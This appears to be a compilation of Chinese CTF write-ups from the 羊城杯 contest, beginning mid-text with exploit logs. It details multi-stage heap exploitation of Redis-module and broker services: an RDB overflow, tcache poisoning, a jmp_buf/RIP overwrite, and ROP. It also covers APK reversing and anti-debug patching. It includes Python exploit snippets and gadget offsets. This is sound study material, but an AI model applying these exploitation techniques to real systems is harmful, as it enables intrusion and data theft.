[*] broker ticket b'ec8fcd8c'
[*] PIE base = 0x5615489f9000
[*] draft buffer = 0x5615497e7770
[*] broker forwarder says b'BRIDGE\n'
[*] manifest secret = 0xc398d2d5b20c132d
[*] manifest trigger says b'MANIFEST\n'
[*] keeper hello: b'K4 e68bad3a971fbcbd\n'
[*] keeper proxy greeting: b'KEEPER\n'
[*] oracle hello: b'O5 4372547917a7d776\n'
[*] oracle trace: b'TRACE 000055d98b1a3684\n'
[*] FLAG RESPONSE: b'DASCTF{70327800596870093690811579077759}\n'复现(本地):
# WSL/Ubuntu,需要 root 建 /run/xmlbridge 与 /home/ctf/flag
# 必须 ulimit -n 65535:broker 会把 fd dup 到 3 万~6 万
cd <题目目录>
bash run_local.sh # 起四个后端服务 + pwn_chain.py
# 或
python3 local_full.py # 起服务 + 前端进程 + D 隧道,全链本地验证
python3 remote_full.py 1 # 打远程10. 文件索引
文件 | 说明 |
| 最终远程利用:网关爆破 + D 隧道 + 四级链 |
| 本地全链(起服务 + 前端进程 + D 隧道) |
| broker→manifestvault→keeper→oracle 的 stage 实现 |
| 本地起四个后端服务并跑 |
| 分析/推导过程(含第 7 节网关绕过细节) |
| 前端 L/I/R/C/S/E/A/B/D 协议客户端 |
| 堆跟踪、布局探测、网关实验脚本 |
11. 踩坑记录
- 一开始把
sub_3147的++*(u64*)([0x6098]+0x10)当成「已释放块+0x10 的
无用写」,因为和网关的qword_60A0+4差 0xC;后来发现A的 dict 结构
复用了s_1起点,这个写精确命中dict->size。 - dict 表与
s_2的相邻关系依赖E释放s_1后A的分配顺序;
用L单 item(item 文本 0x20)、Itarget 文本 0x100、R=hi、E=wo
时布局稳定:dict 结构 =s_1,表 =s_1+0x5A0,s_2 = s_1+0x5B0。 - 越界 entry 的
name会覆盖s_2的 chunk size,但s_2不会被 free,
不影响后续;如果哪天 chunk size 被 allocator 用到,需要额外处理。 - dict 的 hash seed 每个进程随机,网关需要多连接重试;120 个名字比 300 个
更容易在 dict grow 之前命中(grow 会把表换掉,越界消失)。
五、vaultcache(PWN,已解)
羊城杯 vaultcache Writeup
题目:vaultcache(保险库缓存与代理利用,HARD)
远程:nc 1.14.76.59 29596(比赛环境)
结果:DASCTF{41014504357684252657273883456679}
0. 题目结构
附件提供了一套完整的服务链:
redis-server (7.2) + vaultcache.so
│ 模块 RELAY
▼
vaultbroker (/tmp/vault-broker.sock)
│ sub_145A
▼
routeledger (/run/redisrelay/ledger/routeledger.sock)
│ op 0x60 tunnel
▼
routecouncil (/run/redisrelay/council/routecouncil.sock)
│ sub_2C80
▼
/home/ctf/council.flag四层各自有协议和校验:
层 | 入口 | 关键点 |
Redis 模块 |
| 模块记录 + sds 堆布局,8 字节溢出 |
vaultbroker | 5 字节头 + 4 字节 BE 长度, | 槽位 UAF / tcache poisoning / |
routeledger |
| 模块 VM、manifest、permit、0x60 隧道 |
routecouncil |
| 计划 MAC、permit、tcache、gate 对象 |
最终利用链:
Redis sds 溢出
-> 64KB OOB 读写
-> 改模块记录 fptr 为 relay
-> 转接 broker
-> broker tcache poison
-> 改 jmp_buf 校验 + RIP
-> longjmp 到 sub_145A
-> routeledger 协议门禁
-> 0x60 隧道到 routecouncil
-> council 计划 / permit / tcache / gate
-> sub_2C80 读 fd 4
-> flag1. Redis 模块层:8 字节溢出到 64KB OOB
1.1 模块记录布局
vaultcache.so 中一条 VaultRecs 记录的头是 768 字节:
struct rec {
uint64_t len0; // +0x00
uint64_t len1; // +0x08
void *data; // +0x10
void *fptr; // +0x18,默认 sub_81E0
void *self; // +0x20
};VAULT.RENDER 最终会通过 sub_8290 调用 fptr(data, len, ctx)。默认 fptr = base + 0x81E0,只做普通的长度截断输出;如果把它改成模块里的 sub_8940,就会把当前 Redis 客户端的 fd 转接到 /tmp/vault-broker.sock。
1.2 RDB 反序列化的长度检查
模块的 rdb_load(sub_82F0)对保存字符串的长度检查是:
if (n[0] < 0x2FF || n[0] > 0x2FF + 8) fail;也就是说,保存的字符串长度最多可以是 0x2FF + 8 = 0x307,而模块实际只按 0x2FF 左右申请/复制,最后会多写最多 8 字节,形成固定的 8 字节堆溢出。
RDB 模块流需要包含:
0x07:模块 ID 长度- 16 字节模块 ID
8155aba5b5179cb000 0x02:UINT opcode(保存长度)0x05:STRING opcode(保存数据)0x00:EOF- Redis CRC64(反射多项式
0x95AC9329AC4BC9B5,小端 8 字节尾)
构造:
def make_payload(saved_len, blob):
p = b"\x07" + bytes.fromhex("8155aba5b5179cb000")
p += b"\x02" + enc_len(saved_len)
p += b"\x05" + enc_len(len(blob)) + blob
p += b"\x00\x0b\x00"
p += struct.pack("<Q", crc64(p))
return p1.3 溢出目标:相邻 sds 头
Redis 字符串 s1x 的值用 SET s1x <762字节> 创建时,sds 的实际分配是 768 字节级别(768 类)。模块记录的数据块也是 768 类。只要让「被 RESTORE 的记录数据块」紧挨在 s1x 的 sds 之前,8 字节溢出就会落到 sds 头:
[record data 768] [sds header + data 768]
^ 8 字节溢出将 sds 头改成:
len = 0xffff
alloc = 0xffff
flags = 0x02 (SDS_TYPE_16)之后 GET s1x 会按 0xffff 长度返回 65535 字节,SETRANGE s1x <off> <data> 也能越界写 64KB。
1.4 堆 grooming
直接 PUT r0 -> SET s1 -> DEL r0 -> RESTORE 在老版本/干净堆上可用,但远程实例被多次探测后堆已经碎片化,记录数据块不一定会落在 s1 前面。稳定做法是:
- 先创建 64 个 768 字节的 filler 记录,把空闲的 768 类块消耗掉;
VAULT.PUT pad <768字节>,pad 的 header/data 从 top 分配;SET s1x <762字节>,sds 从 top 分配,紧跟在 pad 的 data 后面;DEL pad,释放 pad 的 data/header;RESTORE key1 ...,rdb_load 的 header/data 复用刚释放的 pad 块,data 正好在 s1 前面;- 8 字节溢出写入 s1 的 sds 头。
本地验证脚本的核心:
for i in range(fill):
r.cmd("VAULT.PUT", f"fill{i}", b"F" * 768)
r.cmd("VAULT.PUT", "pad", b"P" * 768)
r.cmd("SET", "s1x", b"S" * 762)
r.cmd("DEL", "pad")
r.cmd("RESTORE", "key1", "0",
make_payload(768, b"A" * 768 + bytes.fromhex("ffffffff02414141")))
g = r.cmd("GET", "s1x")
assert len(g) == 655351.5 泄露模块记录并改 fptr
溢出成功后,创建 4 个不同长度的目标记录:
for name, n in [("rt768x", 768), ("rt800x", 800),
("rt1024x", 1024), ("rt1280x", 1280)]:
r.cmd("VAULT.PUT", name, bytes([ord(name[2])]) * n)从 GET s1x 的 64KB 数据里按字节扫描记录头:
q0 = u64(leak, off) # len0
q1 = u64(leak, off + 8) # len1
q3 = u64(leak, off + 24) # fptr
q4 = u64(leak, off + 32) # self
if q0 == q1 and 768 <= q0 <= 2048 and (q3 & 0xFFF) == 0x1E0:
data = u64(leak, off + 16)
base = q4 - off # 记录头地址 - 泄露偏移
fptr = q3模块基址:
modbase = fptr - 0x81E0
relay = modbase + 0x8940先用 VAULT.RENDER rt768x 读一次,响应的偏移 96 处会带出当前 Redis 客户端指针(client)。然后通过 SETRANGE 改目标记录:
r.cmd("SETRANGE", "s1x", str(data - base + 16), p64(client)) # data_ptr = client
r.cmd("SETRANGE", "s1x", str(hdr - base + 24), p64(relay)) # fptr = sub_8940最后发送:
*2
$12
VAULT.RENDER
$6
rt768x模块调用 sub_8940(client),经 client+16 -> conn+16 -> fd 取出 Redis 客户端 fd,与 /tmp/vault-broker.sock 建立连接,进入 broker 协议。此时会收到:
VLTB3\n2. vaultbroker:从 UAF 到 ledger relay
2.1 协议
broker 的每一帧:
opcode (1B) | length (4B, big-endian) | payload常用 opcode:
op | 含义 |
| create slot |
| free slot |
| read 8 bytes from slot+off |
| write 8 bytes to slot+off |
| 初始化槽位 |
| trigger(校验 + longjmp) |
F 只释放底层块,不清理槽位指针和 R/E 标志,因此 free 后仍可 R/E,形成 UAF。
2.2 槽位布局
broker 的槽位数组在 base + 0x5040,每个槽位 32 字节:
+0x00 ptr
+0x08 size
+0x10 alloc
+0x14 r
+0x18 e
+0x1c padC 的 payload 是 idx, kind, data...;kind=3 分配 0x330,kind=0 按数据长度分配。
初始化后的稳定布局(本地/远程一致):
s = A
s0 = A + 0x340
ptr = A + 0x680
ptr0= A + 0x9C0
s1 = A + 0xDA0
...其中 s1 是保存 jmp_buf 的关键对象。
2.3 Stage A:泄露堆地址
# create 0,1 两个 0x330,free 两个
fdA = u64(b.read(0, 0))
A = (fdA << 12) | 0x860
B = A + 0x340
s1 = B - 0xB60
s0 = s1 - 0xA60把 slot1 的 fd 改成 s0 ^ (B >> 12)(safe-linking 编码),再 create 0x330 的 slot2/3,使 slot3 的 ptr 落到 s0。读 slot3 + 0x18 得到 base + 0x1309:
base = u64(b.read(3, 0x18)) - 0x13092.4 Stage B:tcache poisoning 覆盖槽位数组
再创建两个 0x3D0 块(slot4/5),free 两个,读 slot4 得到 fd。用 safe-linking 把 tcache 头指向 base + 0x5040:
fdC = u64(b.read(4, 0))
C = (fdC << 12) | (top & 0xFFF)
D = C + 0x3E0
b.write(5, 0, p64((base + 0x5040) ^ (D >> 12)))然后分配两个块,第二次分配就会返回槽位数组地址,用 payload 写入伪造槽位:
payload = bytearray(0x160)
payload[8*32:8*32+32] = slot(base + 0x4FE0, 0x1000, 1, 1, 0) # slot8 -> GOT(read)
payload[9*32:9*32+32] = slot(s1, 0x3D0, 1, 1, 1) # slot9 -> jmp_buf
b.create(6, 0, b"E" * 0x3D0)
b.create(10, 0, bytes(payload))R 8 0 读 GOT 里的 read 地址,得到 libc 基址:
libc_read = u64(b.read(8, 0))
libc = libc_read - 0xF82A02.5 绕过 T 的校验并 longjmp
broker 的 T 会检查 s_1 中某个 qword:
check = ROL(s1 ^ (base + 0x1309) ^ libc_read, 23) ^ 0x8B7D51E29AC4630F同时 setjmp 保存的 RSP/RIP 是 pointer-mangled 的:
mangled = ROL(value ^ guard, 17)
guard = ROR(mangled_saved_rip, 17) ^ (base + 0x2116)先读 slot9 + 0x78 得到 mangled saved RIP,恢复 guard:
mangled_rip = u64(b.read(9, 0x78))
guard = ror(mangled_rip, 17) ^ (base + 0x2116)
check = (rol(s1 ^ (base + 0x1309) ^ libc_read, 23)
^ 0x8B7D51E29AC4630F) & M
b.write(9, 0x20, p64(check))
b.write(9, 0x78, p64(rol((base + 0x145A) ^ guard, 17)))这里把 RIP 改成 base + 0x145A(sub_145A,broker 连接 ledger 并转接的 relay)。发送 T 后:
broker --RL5/VAULT/LEDGER--> routeledger我们也试过把 RIP 指向一段
open/read/write的 ROP,直接读/home/ctf/council.flag,但远程返回全 0:broker 与 council 的 mount namespace/权限不同,直接读文件不可行。最终走协议链。
3. routeledger:协议门禁与 0x60 隧道
ledger 与 routecouncil 的二进制与之前 redisrelay 题中的版本一致,所以可以直接复用那题写好的协议库:
ledger_lib.py:完成 ping、VM 泄露、key 恢复、manifest/permit、0x40 gate、0x60 隧道。council_poc.py:完成 council 的 nonce/key 恢复、计划、permit、tcache、gate、0x40读 flag。
3.1 帧格式
u32 le total_len | "LGD5" | op | idx | idx2 | 0
| u32 body_len | u32 seq | body响应 magic 为 LGR5,seq 必须严格递增。
3.2 关键流程
ledger_lib.run(transport) 内部:
0x7Fping 泄露keyE[0..3];0x10/0x11的 manifest VM 读取 key 表,重建:
- PIE base
key0/key1/kD0/kD1/keyF
- 0x11 link gate;
- 0x20/0x21/0x22 构造并泄露 0x98 pair;
- 用 tcache poison 写
.bss的 permit(0x6270)和 relay(0x6070); 0x40gate 把dword_6024置 1;0x60隧道向 council 发 ping,返回 council 响应帧。
成功日志:
[ledger] reconstructed base=...
[ledger] link gate ok
[ledger] permit template written ...
[ledger] permit check ok, 0x1F8 relay pair created
[ledger] relay template written ...
[ledger] council gate ok (dword_6024=1) -> RL5/COUNCIL
[ledger] council ping reply: 30000000524e523570...之后 ledger 会话保持存活,可以继续用 0x60 把 council 帧转发给 council。
3.3 0x60 隧道封装
council_poc.run() 需要 transport(frame) -> frame,而 council 在 ledger 后面。封装:
class LedgerCouncil:
def __init__(self, t):
self.t = t
def __call__(self, frame):
n = struct.unpack("<I", frame[:4])[0]
pkt = frame[4:4 + n] # council packet,无 4B 前缀
lf = ledger_lib.build_frame(0x60, 0, 0, pkt, self.t.seq)
resp = self.t(lf)
self.t.seq = (self.t.seq + 1) & 0xffffffff
r = ledger_lib.parse_frame(resp)
assert r["op"] == 0xB1
body = r["body"] # council packet
return struct.pack("<I", len(body)) + body注意:ledger_lib 已经用一个 council 0x7F ping(council seq=1),所以 council 阶段要从 seq_start=2 开始,否则 council 会拒绝重复 seq。
4. routecouncil:计划、permit、tcache 与 flag
4.1 协议
u32 le total_len | "RNC5" | op | idx | idx2 | 0
| u32 body_len | u32 seq | body响应 magic RNR5;连接建立后先发送 16 字节前缀:
RC5/LEDGER/COUNC4.2 关键阶段
council_poc.run(transport, seq_start=2):
- 0x10 idx=0xFC..0xFF:利用
(u8)(ptra-4) == idx的符号差,连续 4 次泄露 16 个 qword,恢复nonce和K0..K5。 - 0x7F ping:拿到 PIE base,同时选择
sub_2600的实现变体(v8m2=True/False)。 - 0x20 计划:
- 计算 32 个 plan hash;
- 构造
CNCPRMT5permit 对象(0x00 magic、K0/K1、base+0x5360、base+0x50D0、base+0x2740、hash chain、MAC); - RLE 编码为 0x200 字节(0x400 字节的
(1, value)对); - 通过
sub_2740的 32 字节 plan 校验,返回0x90。
- 0x30 / 0x31 / 0x32:创建两个
CBALLOT50x178 对象、释放、再读 40 字节 UAF,泄露obj1。 - 0x33:safe-linking tcache poison,目标
base + 0x50D0。 - 0x34:第二次 malloc 落到
base+0x50D0,写入CNCGATE5gate 对象。 - 0x40:进入 permit 分支,调用
sub_2C80:
open("/home/ctf/council.flag")(council 侧 fd 4)read(fd 4, buf, 0xC0)- 通过
sub_2A90(0xC0, ...)把 0xC0 + flag 发回 council_poc.run()去掉尾部 NUL/CR/LF,返回 flag。
本地/远程日志末尾:
[*] op20 -> 90
[+] freed obj1 = ...
[*] op33 -> a3
[*] op34 -> a4
[*] op40 -> c0
FLAG b'DASCTF{41014504357684252657273883456679}'5. 串联脚本
最终脚本 remote_full_flag.py 的流程:
s = socket.create_connection((HOST, PORT)) # 远程 Redis
module_phase(s) # sds 溢出 + 改 fptr
broker_relay(s) # tcache poison + longjmp 到 sub_145A
t = RelayTransport(s) # 之后的字节流就是 ledger
cf = ledger_lib.run(t) # ledger 门禁 + 0x60 隧道
flag = council_poc.run(LedgerCouncil(t), seq_start=2)
print(flag)关键依赖:
redis_crc.py:Redis CRC64;ledger_lib.py/council_poc.py:复用自redisrelay(二进制相同);remote_full_flag.py:模块 + broker + 两层协议的串联。
运行输出(节选):
PING b'PONG'
restore b'OK'
s1 len 65535
cands 4
broker greet b'VLTB3\n'
broker base 0x7f6aad4d9000 s1 0x555555a04040
trigger relay 0x7f6aad4da45a
[ledger] link gate ok
[ledger] permit check ok, 0x1F8 relay pair created
[ledger] council gate ok (dword_6024=1) -> RL5/COUNCIL
[+] nonce = ...
[+] base = ... alt0=... alt1=... v8m2=True
[*] op20 -> 90
[*] op33 -> a3
[*] op34 -> a4
[*] op40 -> c0
FLAG b'DASCTF{41014504357684252657273883456679}'6. 踩坑记录
- RDB 模块流必须带
0x02/0x05/0x00,否则RESTORE会直接崩溃,不能只拼字符串。 - sds 大小类:
SET s1x 768字节会落到 896 类,不是 768 类;要用 762 字节,sds 分配才是 768 类,才能和记录数据块相邻。 - tcache 计数:最初只 free 一个块就 poison,第一次 malloc 仍返回原块;必须 free 两个,再改第二个的 fd,让第二次 malloc 返回目标。
- safe-linking:所有 tcache fd 都要写成
target ^ (chunk_addr >> 12),chunk 地址从泄露的 fd 左移 12 位恢复。 - longjmp 栈对齐:栈迁移到
s1+0x100时,若RSP = chain_addr,第一条pop会把 gadget 自身弹进寄存器,导致下一步跳到参数;正确是RSP = chain_addr + 8,RIP = chain[0]。 - 直接读文件失败:broker 的
open("/home/ctf/council.flag")返回 0 数据,说明 broker 与 council 并非同一 mount namespace/权限;/proc/1/root/...也不行。最终必须走 ledger+council 协议,由 council 自己读 fd 4。 - council seq:ledger 阶段已经发过一次 council
0x7Fping(seq=1),council 阶段必须从seq_start=2开始,否则被 seq 检查拒绝。 - 协议库复用:ledger/council 二进制与之前
redisrelay附件完全一致,直接复用那题的ledger_lib.py/council_poc.py可以省掉大量 MAC/VM 逆向工作;只需自己补 broker→ledger 的传输层。
7. 修复建议
- 模块
rdb_load的长度上限应从0x2FF + 8收紧到实际分配长度,禁止溢出。 - 模块记录在使用前校验
data/fptr/self指针与长度,RENDER 不要直接调用记录里的函数指针。 - broker 的
F应清空槽位指针和 R/E 标志,避免 UAF;tcache 目标不应能指向槽位数组/.bss。 setjmp保存区应放在只读/独立映射,或对校验值使用不可预测的进程级密钥;不要用可读 GOT 值参与可预测的校验。- ledger/council 的协议 MAC 不能只依赖“客户端能拿到”的 key 表;应使用真正的认证密钥,且对 seq/状态做严格校验。
- 容器层面给 council 单独的 mount namespace 和最小权限,flag 文件只对 council 进程可读;同时确保 broker/ledger 不能通过
/proc/<pid>/root或/proc/<pid>/mem横向访问。
8. Flag
DASCTF{41014504357684252657273883456679}六、cacheline(PWN,未完成,分析到底层)
cacheline(羊城杯 PWN)分析笔记
状态:未完成。模块 / broker / vault 三层的协议、密钥与对象图均已本地验证,
卡在 vault op64 的 pair/fold 聚合校验,最终 ROP 未实跑。
本文记录可复用的部分:三层协议、密钥恢复公式、对象方程与关键偏移。
0. 结构
HTTP(GET /cacheline?op=...&data=hex)
└─ nginx worker + cacheline.so(模块层,跨请求 UAF)
└─ unix socket → cachebroker(uid 1001) (permit/mandate/shard/stamp 对象图 → commit → relay)
└─ 转交 → cachevault(uid 1002) (VM 记录流认证 → 两轮对象图 → op64 间接调用)
└─ flag: /home/vault/flag 已 open 并 dup2 到 fd 7每层都有一次“对象图校验”:用随机密钥算出的 HMAC 串起多个对象,校验通过才进入下一层。
1. 模块层(cacheline.so)
- 对象用
ngx_alloc分配、ngx_pool_cleanup_add(r->pool)注册,请求结束即 free;
但指向对象的全局指针与 stage 状态保留 → 跨请求 UAF / 对象复用。 resize要求新 0x180 块与旧 probe 同地址(用来确认复用成功)。ledger/beacon泄漏:beacon[7..10]、ledger[6],[8],[9]。- 密钥恢复(均已验证):
handler = beacon.a ^ rol(Kb,17)
k2 = beacon.e ^ H(handler, Kb, [Kb, handler])
k1 = beacon.k ^ H(handler, Kb, [k2, Kb])
conn = ledger.o ^ H(k1, k2, [Kl, Kb])- 用 k1/k2 伪造 route(0x1a8)、seal(0xd8)、grant(0x218)、voucher(0x108) 的 5 组哈希,
使v18 = route[12]^seal[10]^grant[14]^voucher[12] == 1,commit 后走funcs[1]返回activated。
2. broker 层(cachebroker)
V命令校验 linked probe/aperture 后回 8 字节:
- sub=0 →
broker_base + 0x4000(relay,PIE 泄漏) - sub=1 →
key8(qword_7088) - sub=2 →
key9(qword_7090)
key0 = H(key8, key9, [relay, 0x4F524B4559313233], 2)(qword_7080)。- 对象方程(全部按已知密钥现算):
- shard/stamp 对:
H1 = H(key?, ...),链式 fold(每轮把上一轮结果放回words[0]); - permit/mandate:
H2与交叉指针; - commit 的间接调用:
v95 = permit[1] ^ mandate_ptr ^ key9 ^ ROR(mandate[5],19),
令其等于 relay 即转入 vault。
- commit 成功后 broker 调用 relay 与 vault 建连,本连接切换到字节转发模式;
回包即 vault 的CV4/READY。
3. vault 层(cachevault)
3.1 认证绕过(op=1 记录流)
op=1 的 payload 按 16 字节记录解析:
record: [op:1][arg:1][checksum:2][0:4][data:8]
checksum = (109*i) ^ rol16(op | arg<<8, 8) ^ 0x4B27 (i = 记录序号)成功路径里 'S' 记录执行 v87 = *(u64*)(ctx + 8*v86 + 24),其中 v86 是 'A' 记录 有符号字节 的累加。
用 type=0/1/2 + arg=0xFD/0xFE/0xFF 恰好读到 ctx[0] / ctx[1] / ctx[2]:
记录序列: A(arg) → y → S → 0x8B'y'要求n23 == type-3(n23 同为由 signed char 累加);0x8B收尾(v80=1)。
拿到 ctx[0..2] 后推导四个主密钥(已用 ticket 的 sub_15D0 反验一致):
ctx[27] = H(ctx0, 0x6A09E667F3BCC909, [ctx1, ctx2], 2) // key1,记 ctx216
ctx[28] = H(ctx0, 0xBB67AE8584CAA73B, [ctx1, ctx2], 2) // key2,记 ctx224
ctx[29] = H(ctx0, 0x3C6EF372FE94F82B, [ctx1, ctx2], 2) // key3,记 ctx232
ctx[30] = H(ctx0, 0xA54FF53A5F1D36F1, [ctx1, ctx2], 2)op=2 提交 H(ctx0, ctx1, [ctx2, 0x243F6A8885A308D3], 2) → 置 dword_7084=1,layer2 解锁。
3.2 PIE 基址泄漏(op44)
op44(绑定 context+plan)会写:
plan.q5 = ROL(context.q1 ^ plan ^ ctx[28] ^ sub_17F0, 21)于是 dump plan(op42)后:
plan_addr = plan.q2 ^ ctx216
sub_17F0 = ROR(plan.q5,21) ^ ctx28 ^ plan_addr ^ plan.q4
pie_base = sub_17F0 - 0x17F0 # 实测页对齐3.3 对象图与 op64
- 对象:
CTICKET4(0x150)/VALCRED4(0xB0)/CONTEXT4(0x440)/CLVPLAN4(0x190)+
4 对CLCHUNK4(0x140)/CLVSEAL4(0x98)。 - 各层 opcode(create/link/free/dump/write):
16-20(ticket)、21-25(cred)、32-36(context)、39-43(plan)、48-52(chunk)、53-57(seal);
绑定:26(ticket+cred)、44(context+plan)、58(chunk+seal)。 - HMAC 组合(ctx216/224/232 见上):
sub_15D0(o) = H(ctx216, ctx224, q0..q7, 8)
sub_1630(o) = H(ctx216^0x243F6A8885A308D3, ctx224, q0..q6, 7)
sub_1690(o) = H(ctx224, ctx216, q0..q6, 7)
sub_16E0(o) = H(ctx224^0x13198A2E03707344, ctx232, q0..q7, 8)
sub_1740(o) = H(ctx232, ctx224, q0..q6, 7)
sub_1790(o) = H(ctx232^0x3C6EF372FE94F82B, ctx224, q0..q6, 7)- op64 的 12 字节 payload:
[ticket,cred,context,plan, 4× (chunk,seal)],
最终调用:
v131 = ROR(plan.q5,21) ^ ctx[28] ^ plan ^ context.q1
v131(v102, v130, 0) // rdi = 栈上 0x400 缓冲区3.4 利用
把 v131 指向 base + 0x44e0:
000044e0: 48 8d 67 40 c3 lea rsp,[rdi+0x40] ; retrdi 正是那个 0x400 缓冲区,+0x40 起是 chunk 数据被拷进来的内容 → 直接当 ROP 栈:
pop rdi;7 / pop rsi;buf / pop rdx;0x100 / read@plt
pop rdi;1 / pop rsi;buf / pop rdx;0x100 / write@plt / _exit偏移:pivot 0x44e0、pop rdi;ret 0x44f0、pop rsi;ret 0x4500、pop rdx;ret 0x4510、
read@plt 0x10e0、write@plt 0x10a0、_exit@plt 0x1150。flag 在 fd 7(启动时 open("/home/vault/flag", O_CLOEXEC) + dup2(...,7))。
4. 卡点与教训
- 已本地验证:模块链 commit、broker commit 调 relay、vault 认证/主密钥、PIE 泄漏、对象创建与导入。
- 卡点:op64 的 pair 聚合校验(
0x2a74 test ecx)始终为 0 →0xE4;
pair 的 magic、交叉指针、sub_1740/sub_1790 HMAC 均已逐个断点确认匹配,失败点在更深的聚合/去重逻辑。 - 教训:pivot gadget 要扫
lea rsp,[reg+imm]; ret,只扫mov/xchg rsp,reg会漏掉本题的关键跳板。
5. 文件索引
- 反编译:
work/ida/bin/{cacheline.so,cachebroker,cachevault}.pseudo.txt - 笔记:
work/notes/reverse.md、work/notes/vault_progress.md、work/notes/vault_lastmile.md - 脚本:
work/scripts/chain8.py(模块链)、broker_commit.py(broker commit)、vault_auth.py/vault_pie.py/vault_build.py/vault_pwn.py(vault 侧)
七、未完成 / 仅分析
题目 | 进展与卡点 |
cacheline | 三层协议(nginx 模块 → broker → vault)全部逆向完成:模块跨请求 UAF 与 5 组哈希、broker 的 V 泄漏与 permit/mandate 对象图、vault 的 session 泄漏与主密钥推导、PIE 泄漏(op44 → sub_17F0)均已本地验证;卡在 vault op64 的 pair/fold 聚合校验,最终 ROP 未实跑。 |
notebook | Linux kernel PWN,每连接启动全新 guest;已有 vmlinux、stripped 模块、符号表与模块反编译( |
BabyMenu | Windows 本地提权:以 |
LibraryManagementSystem | Windows 提权:题目机内 |
edgecore / FedResNyFinLedgerOs | 仅下载附件,未展开分析。 |
八、可复用经验
- 多级协议题先画清「帧格式 + 每级校验字段」,再用 gdb 在候选分支上断点定位失败项,比盲改 payload 快得多。
- pivot gadget 不能只扫
mov/xchg rsp,reg:lea rsp,[rdi+0x40]; ret(48 8d 67 40 c3)这类也要扫——cacheline 正是靠它把栈切到受控缓冲区。 - jemalloc 布局确定性可用于跨对象地址预测(redisrelay 的 stamp 地址),先重启多次验证稳定。
- 对象图 + HMAC 链的题,优先用「自己创建 → 绑定 → dump → 回放导入」保持对象合法,只改需要改的字段并重算对应 HMAC。
- Redis 模块类题(redisrelay / vaultcache)重点看模块命令注册、堆对象生命周期与 broker 转发帧格式;多级 uid 隔离意味着要逐层拿密钥。
- Windows 提权题先确认触发器(驱动 IOCTL/IRP)再写 EXP。
- 每步留日志/脚本:本次各题
work/均保留 IDA 伪代码、脚本与运行日志,便于回滚与写 WP。
本文档由 D:\Users\Lenovo\Desktop\羊城杯 下各题材料合并而成;各题 flag 均可从对应目录的 evidence 日志或原始 writeup 复核。
2. 逆向与原生 VM
千千的咲 Writeup
Flag:
flag{WuTher1ng_Waves_ch1Sak1_6666}
0. 一句话解法
游戏要求点 4×4 宫格 3941 次。每 8 次点击被打包成 32 位整数 x(每格 4 bit,最低 4 bit 是第一下),
再经 libUnreal.so 里 0x481C092 的四轮可逆变换写入 493 块头表。
把变换逆向逐块解出 x(共 3941 个格号),在原生 VM + WASM 上跑完,
由最终状态算出 key/iv,解密 0x869020 的 48 字节密文即得 flag。
关键数字:
3941 = 0xF65 = 492 × 8 + 5 # 前 492 块各 8 下,最后一块 5 下
493 块 × 21 dword = 0xA1C4 B # 5 个头字段 + 8 对指令字段1. 附件结构
千千的咲.apk
├─ lib/x86_64/libUnreal.so 100 MB,全部游戏逻辑静态链进引擎
├─ lib/arm64-v8a/libUnreal.so 96 MB
└─ assets/main.obb.png 实际是 ZIP → UE IoStore + pak
└─ CTFGame/Content/Data/p.bin 1424 B,加密的 WebAssembly
└─ CTFGame/Content/JavaScript/puerts 运行时 JS(无游戏逻辑)
└─ CTFGame/Content/UI/... 16 个 Cell 按钮 + 16 张 tile 贴图main.obb.png改后缀为 zip 即可解压,里面是 UE 的pak/ucas/utoc。- 用 CUE4Parse(或自写 TOC 解析 + ooz Kraken 解压)可列出 1934 个文件,与题目相关的只有
WBP_FlagPanel.uasset、Puzzle/tile_00..15、Data/p.bin。 - 贴图与背景里没有 flag:16 块 256×256 拼起来是正常立绘,无文字、无 LSB。
2. p.bin → p.wasm
p.bin 头:
0x00 magic 8F 21 D6 B4
0x04 u32 明文长度 0x57E = 1406
0x08 8 B CBC 初始向量
0x10 ... 密文(8 字节一块)算法是 XTEA 解密 + CBC 链接:
- key =
qianqiandexiao99(16 B,运行时明文在0x5863B0) delta = 0x9E3779B9,32 轮,初始sum = delta << 5- 每块解密后再与前一块密文异或,末尾 PKCS#7 去填充
k = struct.unpack("<4I", b"qianqiandexiao99")
# 6e616971 6e616971 69786564 39396f61得到 1406 B 的 p.wasm(\0asm),wasm2wat 反汇编 526 行。
3. p.wasm 逻辑
导出:
导出 | 作用 |
| 初始化 wasm 状态并 |
| 一次点击,返回 1 表示"整体完成" |
| 取第 i 个结果字节(要求已完成) |
导入 e.q(sel, arg) -> i32,直接落到原生分发器 0x481C236。
a(i) 的调用序列(4 个 selector):
q(9325, i) # 点击入口:校验状态/格号,返回 r2
q(18367, h1) # 状态 2 → 3
q(22720, h2) # 状态 3 → 4(原生状态机执行块表指令)
q(27089, h3) # 状态 4 → 0,返回 (read(9) == 0xF65)wasm 内部有 6 个 32 位状态字 m[1040..1064],初值是 π 常量:
0x243F6A88 0x85A308D3 0x13198A2E 0x03707344 0xA4093822 0三个摘要(先取旧值,再更新状态,用旧值算摘要):
h1 = mix(r2 ^ m5 ^ m4 ^ m0 ^ rol(m2,13))
h2 = mix(rol(m3,17) + m1 + rol(r2, (m5 & 15) + 3))
h3 = mix(m0' ^ rol(m1',7) ^ rol(m2',13) ^ m3' ^ m4' ^ m5')c(i) = q(13742, i) ^ mask_i,mask_i 由当前状态字与 i 决定(wasm 内联即可,不必展开)。
4. libUnreal.so:混淆、反调试、速查表
4.1 字符串 XOR 0xA7
类名/函数名在文件里是乱码(ASCII 与 UTF-16LE 都逐字节 XOR 0xA7),运行时原地解密。
解出后可见:FlagPanelWidget、PuzzleScriptHost、IsComplete、SubmitCell、Data/p.bin、qianqiandexiao99。
4.2 反调试
- 检测函数
0x481A30D:读/proc/self/maps找 frida-agent/gadget、查TracerPid; - 看门狗
0x481FF76周期调用它,命中即exit(); - 补丁:首 3 字节改
31 C0 C3(xor eax,eax; ret),文件偏移0x481630D。
4.3 地址速查(vaddr;文件偏移 = vaddr − 0x4000,数据段为恒等映射)
地址 | 含义 |
| 反调试检测 |
| VM 构造 / 初始化 |
|
|
|
|
| 点击提交:算 nonce、更新引擎哈希、写 f13..f17 |
| 块解密密钥 |
| 点击状态机(块表指令解释器) |
|
|
| 四轮可逆变换 T |
| flag 密文(48 B) |
| 493 块点击表(每块 0x54 = 84 B = 21 dword) |
| 16 项常量表 |
5. 原生 VM
5.1 字段布局
read(i) = vm[i*8+8] ^ vm[i*8+0xC];write带链式混淆,但read恒等于写入值。- 重要字段:
f08当前块号(初始0x1BC = 444,不是 0!)f09点击计数(到0xF65即完成)f0A块内步号(0..7)f0B/f0C滚动状态;f0D..f12块头解码结果f13..f16本次点击的 nonce;f17点击格号;f18状态机状态f00..f07最近 8 次点击的滚动哈希(环形缓冲)
